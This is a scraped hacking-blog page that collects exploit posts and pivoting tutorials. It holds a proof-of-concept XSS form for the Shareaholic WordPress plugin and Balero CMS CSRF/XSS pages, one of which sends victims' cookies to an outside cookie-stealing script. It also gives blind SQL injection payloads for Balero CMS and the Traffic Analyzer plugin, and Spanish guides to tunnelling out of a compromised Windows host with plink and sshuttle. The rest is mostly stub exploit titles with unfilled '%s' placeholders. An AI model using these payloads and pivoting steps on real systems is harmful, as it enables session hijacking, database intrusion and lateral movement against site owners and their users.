# Exploit Title: Shareaholic 7.6.0.3 XSS
# Date: 10-11-2014
# Software Link: https://wordpress.org/plugins/shareaholic/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9311
# Category: webapps
1. Description
ShareaholicAdmin::add_location is accessible for every registered user.
File: shareaholic\shareaholic.php
add_action('wp_ajax_shareaholic_add_location', array('ShareaholicAdmin', 'add_location'));
$_POST['location'] is not escaped.
File: shareaholic\admin.php
public static function add_location() {
$location = $_POST['location'];
$app_name = $location['app_name'];
ShareaholicUtilities::update_options(array(
'location_name_ids' => array(
$app_name => array(
$location['name'] => $location['id']
),
),
$app_name => array(
$location['name'] => 'on'
)
));
echo json_encode(array(
'status' => "successfully created a new {$location['app_name']} location",
'id' => $location['id']
));
die();
}
http://security.szurek.pl/shareaholic-7603-xss.html
2. Proof of Concept
Login as regular user (created using wp-login.php?action=register) then:
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="shareaholic_add_location">
<input type="hidden" name="location[app_name]" value="recommendations">
<input type="hidden" name="location[name]" value="post_below_content">
XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
<input type="submit" value="Hack!">
</form>
XSS will be visible for admin:
http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings
3. Solution:
Update to version 7.6.1.0
https://downloads.wordpress.org/plugin/shareaholic.7.6.1.0.zip
https://blog.shareaholic.com/security-update-shareaholic-wordpress-plugin/
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863133992
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
<!--
Balero CMS v0.7.2 Multiple JS/HTML Injection Vulnerabilities
Vendor: BaleroCMS Software
Product web page: http://www.balerocms.com
Affected version: 0.7.2
Summary: Balero CMS is an open source project that can help you manage
the page of your company with just a few guided steps, minimizing the
costs that many companies make to have your advertising medium and/or
portal.
Desc: Input passed to the 'content' POST parameter and the cookie 'counter'
is not properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's browser
session in context of an affected site.
Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5239
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5239.php
04.03.2015
-->
<html>
<body>
<script>
document.cookie="counter=1<script>confirm('XSS')</script>; path=/balerocms/";
</script>
</body>
</html>
csrf+stored xss+filter bypass+session hijack:
<html>
<body>
<form action="http://localhost/balerocms/admin/edit_delete_post/mod-blog" method="POST">
<input type="hidden" name="title" value="ZSL" />
<input type="hidden" name="content" value="pwned</textarea><s\cript>document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;</s\cript>" />
<input type="hidden" name="files" value="joxy.poxy" />
<input type="hidden" name="delete_post[]" value="135" />
<input type="hidden" name="id" value="135" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Balero CMS v0.7.2 Multiple Blind SQL Injection Vulnerabilities
Vendor: BaleroCMS Software
Product web page: http://www.balerocms.com
Affected version: 0.7.2
Summary: Balero CMS is an open source project that can help you manage
the page of your company with just a few guided steps, minimizing the
costs that many companies make to have your advertising medium and/or
portal.
Desc: The application suffers from multiple blind SQL injection vulnerabilities
when input is passed to several POST parameters thru their affected modules
which are not properly sanitised before being returned to the user or used
in SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.
Vulnerable POST parameters in affected modules:
-----------------------------------------------
- pages [admin]
- themes [admin]
- code [mod-languages]
- id [mod-blog, mod-virtual_page]
- title [mod-blog]
- a [mod-virtual_page]
- virtual_title [mod-virtual_page]
-----------------------------------------------
Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5238
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5238.php
04.03.2015
--
csrf+bsqli poc:
<html>
<body>
<form action="http://localhost/balerocms/admin/edit_page/mod-virtual_page/id-11" method="POST">
<input type="hidden" name="virtual_title" value="ZSL" />
<input type="hidden" name="a" value="1" />
<input type="hidden" name="content" value="Testingus" />
<input type="hidden" name="_wysihtml5_mode" value="1" />
<input type="hidden" name="id" value="11' and benchmark (50000000,sha1(1))-- " />
<input type="hidden" name="submit_delete" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
# Exploit Title: Wordpress plugin 'Traffic Analyzer' Blind SQL Injection
# Google Dork: inurl:/plugins/trafficanalyzer/js/
# Date: 4/7/2015
# Exploit Author: Dan King (@fuzztester)
# Vendor Homepage: http://wptrafficanalyzer.in/
# Software Link: https://wordpress.org/plugins/trafficanalyzer/
# Version: 3.4.2
# Tested on: Ubuntu 14.10 with Mysql and Wordpress 4.11
[+] Issue [+]
The Wordpress plugin "Traffic Analyzer" is vulnerable to a blind SQL injection vulnerability. The application does not properly validate input from the "Referer" HTTP header value.
[+] Impact [+]
This vulnerability would allow a remote attacker to access the database with the privleges configured by Wordpress. This could also lead to the attack gaining remote access to the webservers filesystem and further compromise the system hosting the Wordpress installation.
[+] Details [+]
The following section of PHP code is where the vulnerability exists. The $sql variable is a concatenated string intended on being used to insert data into the database. The the variable $referer is not checked for malicious data.
From 'class-TrafficAnalyzer.php' line number 297:
######################################################################################
$sql = " insert into $wpdb->prefix"."tanalyzer_pre ( hid,ip, script_name, user_agent, request_uri,resource_type,browser,resource,http_referer,wpta_cookie ) values ".
" ('".$hid."'," .
" '".$_SERVER["REMOTE_ADDR"]."', ".
"'".$_SERVER['SCRIPT_NAME']."', " .
" '".$_SERVER["HTTP_USER_AGENT"]."', ".
" '". $_SERVER['REQUEST_URI']. "', ".
" '".$resource_type."', " .
" '".$browser."', " .
" '".$resource ."', " .
" '".$referer . "', " .
" '".$this->wpta_cookie . "'" .
" )";
###########################################################################################
[+] Proof of Concept [+]
Sending the following HTTP request to a vulnerable site will cause the request to be delayed for 30 seconds.
GET /[wordpress path]/ HTTP/1.1
Host: x.x.x.x
Referer: BLAH'||(SELECT 'Fdsf' FROM DUAL WHERE 5435=5435 and SLEEP(30) )||'

Pivoting con Plink.exe
HACKER · %s · %s
Podemos encontrar el binario de plink normalmente en la ruta:
/usr/share/windows-resources/binaries/plink.exe
Si no, se puede descargar desde la web oficial de putty.
Siendo plink.exe un cliente SSH, lo único que podemos hacer es un Remote Port Forwarding. En el post de SSH ya se comentó el peligro que tiene esto, básicamente de esta forma estás escribiendo las credenciales de tu equipo en una máquina que no es tuya, por lo que hay que tener cuidado (también se puede hacer uso de claves asimétricas).
El comando para usar plink.exe es el siguiente:
cmd.exe /c echo y | plink.exe -l <usuario> -pw <contraseña> <ip mia de atacante> -R <puerto que abrimos en mi maquina atacante>:<host de quien queremos tunelizar>:<puerto que queremos tunelizar>
Transferiríamos plink a la máquina Windows y ejecutaríamos el comando desde ahí.
La primera parte del comando: cmd.exe /c echo y, sirve para en las shells no interactivas (como es la mayoría de reverse shells en sistemas Windows), poder aceptar el mensaje de precaución que lanza plink por defecto.
Por lo demás, el resto del comando se entiende fácil si ya se ha tocado Remote Port Forwarding, si no, recomiendo visitar el post de Pivoting con SSH.
Además de esto, algunos parámetros útiles que podemos agregar en plink son los siguientes:
-g –> permite que otros clientes de la LAN puedan conectarse al puerto que se abre en la máquina atacante. Por defecto solo se puede en local. -f –> plink se va al segundo plano una vez se ha establecido la sesión SSH de forma exitosa. -N –> indicamos que no ejecute una shell, simplemente que se conecte (esto no significa que el proceso se mande al segundo plano), es decir, quedaría así: Es bastante recomendable usar los parámetros -f y -N.
-i –> permite indicar una clave privada. Sin embargo, hay que hacer una conversión, ya que plink no va a entender el formato por defecto que nos deja ssh-keygen. Una vez tenemos generada la clave privada con ssh-keygen, seguimos los siguientes pasos:
Instalamos las tools de putty:
sudo apt install putty-tools
Una vez instaladas, hacemos uso de puttygen:
puttygen <clave privada> -o <nueva clave privada>.ppk
De esta forma, esta nueva clave privada que tenemos si la entenderá plink y podremos usarla.
Con todo esto explicado, vamos a hacer una prueba en el siguiente laboratorio:
3 EquiposKaliIP: 192.168.10.10 Windows 7IP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red Debian –> Servidor Web y SSH – Puerto 22 y 80 activadosIP: 192.168.20.20 OJO: de cara al Remote Port Forwarding, recomiendo hacer un cambio simple de contraseña en el passwd.
Para quien no conozca esto, básicamente puedes generar una contraseña en DES UNIX con openssl:
Si cogemos esta contraseña generada y la sustituimos en el passwd por la «x«, la contraseña del usuario será la que hemos puesto en openssl, en este caso «hola«, cuando se quiera volver a la contraseña anterior simplemente en el passwd se quita lo escrito y se vuelve a poner la «x«.
Con esto hecho, nos dirigimos al Windows y usamos plink como se indicaba en el comando escrito previamente:
cmd.exe /c echo y | plink.exe -l <usuario> -pw <contraseña> <ip mia de atacante> -R <puerto que abrimos en mi maquina atacante>:<host de quien queremos tunelizar>:<puerto que queremos tunelizar>
Si nos fijamos hay dos puntos importantes aquí:
Podemos tunelizar tantos puertos como queramos, siempre usando el parámetro -R. Al tunelizar un puerto SSH, tenemos que indicarle otro puerto a utilizar/abrir en nuestra máquina que no sea el 22, ya que este ya se está empleando. De esta forma, ya tenemos ambos puertos tunelizados, en este caso el 22 (el 2222 en nuestra máquina) y el 80:
Plink es una herramienta que poco a poco se irá quedando en desuso por la implementación por defecto del cliente SSH en los sistemas Windows. Sin embargo, en ciertas ocasiones donde estemos lidiando con algún que otro sistema antiguo, nos puede venir bastante bien.
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Trendnet Camera (Multiple Products) - Remote Security Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Dolibarr ERP/CRM 3.x - '/adherents/fiche.php' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

CubeCart 3.0.20 - Multiple Script 'redir' Arbitrary Site Redirects
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

CubeCart 3.0.20 - '/admin/login.php?goto' Arbitrary Site Redirect
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

BOA Web Server 0.94.8.2 - Arbitrary File Access
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Pivoting con Sshuttle
HACKER · %s · %s
El uso básico de sshuttle es:
sshuttle -r <usuario>@<servidor ssh> <ip de red en la que operará la vpn>/<máscara de red en CIDR>
De esta forma, nos conectamos por SSH mediante sshuttle.
Si le añadiéramos el argumento -N intentará adivinar la IP de red en la que operará la VPN, por lo que no tendríamos que especificarlo si usamos este argumento.
Con esto, si por ejemplo, nuestra red es la 192.168.0.0/24 y nos conectamos a un servidor SSH (192.168.0.10) que está en la misma red nuestra, pero, este servidor, tiene también acceso a la red 192.168.30.0/24, el comando a usar sería el siguiente:
sshuttle -r <usuario>@192.168.0.10 192.168.30.0/24
Ya que la red en la que queremos que opere la conexión «VPN» es la 192.168.30.0/24.
Sshuttle tiene algunas ventajas y desventajas, al contrario que por ejemplo proxychains, si lanzamos varias VPN una sobre la otra, pasando por diferentes redes, siempre podremos acceder a los recursos de cada una de ellas sin que se tenga en cuenta la red de la última conexión VPN que hemos lanzado. Sin embargo, sshuttle no permite el uso de por ejemplo trazas ICMP o nmap, pero si intentásemos llegar a un servidor web, llegaríamos sin problemas:
Así que en este aspecto, esta es la desventaja de Sshuttle, la incapacidad de usar nmap, ping, etc., además de que necesitas privilegios de administrador para poder usarlo:
Hasta ahora, si nos fijamos, podemos ver como hemos iniciado sesión con credenciales en el SSH, pero ¿qué ocurre si solo tenemos acceso mediante clave privada? Sshuttle en principio no acepta iniciar sesión usando clave privada, sin embargo se puede bypasear de la siguiente forma:
sshuttle -r <usuario>@<servidor ssh> --ssh-cmd "ssh -i <archivo clave privada>" <ip de red en la que operará la vpn>/<máscara de red en CIDR>
Ejemplo:
De esta manera podemos iniciar sesión usando una clave privada.
Si en alguno de los usos de sshuttle nos saliese un error de este estilo:
client: Connected.
client_loop: send disconnect: Broken pipe
client: fatal: server died with error code 255
Podemos solucionarlo con el parámetro -x, el cual nos permite excluir una IP del rango donde la VPN va a operar. Este problema podría ocurrir si el dispositivo al cual nos conectamos, pertenece a la red la cual queremos que la VPN opere. En cualquier caso, si nos ocurre este error haríamos lo siguiente:
sshuttle -r <usuario>@<servidor ssh> <ip de red en la que operará la vpn>/<máscara de red en CIDR> -x <servidor ssh>
Así, excluiríamos el servidor SSH de la VPN por así decirlo.
Además de todo lo visto hasta ahora, sshuttle tiene la opción para que nuestras peticiones DNS también pasen por el proxy, de tal forma que usemos los servidores DNS que la máquina (SSH Server) tenga configurados. El argumento a añadir en la línea de comandos simplemente sería --dns. Lo podemos agregar ya sea al principio o al final.
Por último, otro argumento que tiene sshuttle es él -D, el cual básicamente manda al segundo plano la conexión cuando nos conectamos:
Y hasta aquí las funcionalidades de sshuttle, al menos las más principales y comunes.
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Nova CMS - '/optimizer/index.php?fileType' Remote File Inclusion
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views

- Read more...
- 0 comments
- 1 view

PHP PDORow Object - Remote Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Apache MyFaces - 'ln' Information Disclosure
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

LxCenter Kloxo 6.1.10 - Multiple HTML Injection Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

CubeCart 3.0.20 - 'switch.php?r' Arbitrary Site Redirect
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

RabbitWiki - 'title' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Zimbra - 'view' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view